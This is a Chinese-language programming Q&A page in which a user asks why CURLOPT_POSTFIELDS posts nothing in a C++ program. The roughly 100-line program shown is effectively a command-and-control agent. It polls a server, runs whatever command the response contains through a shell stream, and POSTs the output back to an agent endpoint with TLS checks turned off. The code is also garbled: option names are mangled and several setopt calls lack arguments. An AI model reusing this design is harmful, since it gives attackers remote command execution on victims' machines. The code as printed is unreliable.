微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

CURLOPT_POSTFIELDS C++ 中的变量

如何解决CURLOPT_POSTFIELDS C++ 中的变量

我正在尝试将某些内容传递给 CURLOPT_POSTFIELD,如果我包含 c_str(),它要么不打印任何内容,要么如果我不包含 V\x1b{

我将发布我的完整代码以便更好地理解它只有 100 行,问题函数curl_write()

#include <curl/curl.h>
#include <iostream>
#include <pstreams/pstream.h>

int rad = rand() % 100000;
std::string agent_name = "https://127.0.0.1:443/agent/" + std::to_string(rad);


size_t curl_write( void *ptr,size_t size,size_t nmemb,void *stream)
{
  std::string cmd(static_cast<char*>(ptr),size * nmemb);
  redi::ipstream proc(cmd.c_str(),redi::pstreams::pstdout | redi::pstreams::pstderr);

  std::string line;
  while (std::getline(proc.out(),line))
    std::cout << line << '\n';

  CURLcode sendb;
  CURL *bnd;

  bnd = curl_easy_init();
  curl_easy_setopt(bnd,CURLOPT_BUFFERSIZE,102400L);
  curl_easy_setopt(bnd,CURLOPT_URL,agent_name.c_str());
  curl_easy_setopt(bnd,CURLOPT_nopROGRESS,1L);
  curl_easy_setopt(bnd,CURLOPT_POSTFIELDSIZE_LARGE,(curl_off_t)line.size());
  curl_easy_setopt(bnd,CURLOPT_copYPOSTFIELDS,line.c_str());
  curl_easy_setopt(bnd,CURLOPT_SSL_VERIFYPEER,0L);
  curl_easy_setopt(bnd,CURLOPT_SSL_VERIFYHOST,CURLOPT_CUSTomrEQUEST,"POST");
  curl_easy_setopt(bnd,CURLOPT_FTP_SKIP_PASV_IP,CURLOPT_TCP_KEEPALIVE,1L);
  

  sendb = curl_easy_perform(bnd);

  std::cout << sendb;

  curl_easy_cleanup(bnd);
  bnd = NULL;

  if (proc.eof() && proc.fail())
    proc.clear();
}

int main(int argc,char *argv[])
{
  for (;;)
  {
  
  CURLcode res;
  CURL *curl;
  curl = curl_easy_init();
  curl_easy_setopt(curl,102400L);
  curl_easy_setopt(curl,"https://127.0.0.1:443/");
  curl_easy_setopt(curl,1L);
  curl_easy_setopt(curl,0L);
  curl_easy_setopt(curl,CURLOPT_NOBODY,1);

  res = curl_easy_perform(curl);
  
  if (res == CURLE_OK) 
  {
    long response_code;
    curl_easy_getinfo(curl,CURLINFO_RESPONSE_CODE,&response_code);
    if (response_code == 200)
    {

      CURLcode ret;
      CURL *hnd;
      std::string s;
      
      hnd = curl_easy_init();
      curl_easy_setopt(hnd,102400L);
      curl_easy_setopt(hnd,agent_name.c_str());
      curl_easy_setopt(hnd,1L);
      curl_easy_setopt(hnd,0L);
      curl_easy_setopt(hnd,"POST");
      curl_easy_setopt(hnd,CURLOPT_WRITEFUNCTION,curl_write);
      curl_easy_setopt(hnd,CURLOPT_WRITEDATA,&s);

      ret = curl_easy_perform(hnd);
      std::cout << s << std::endl;
      curl_easy_cleanup(hnd);
      hnd = NULL;

    }
    else { }
  
    curl_easy_cleanup(curl);
    curl = NULL;
  }
 }
}

我看过其他有类似问题的帖子,但我不明白为什么这不起作用。

顺便说一句(line 保存 Linux 目录的输出)。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。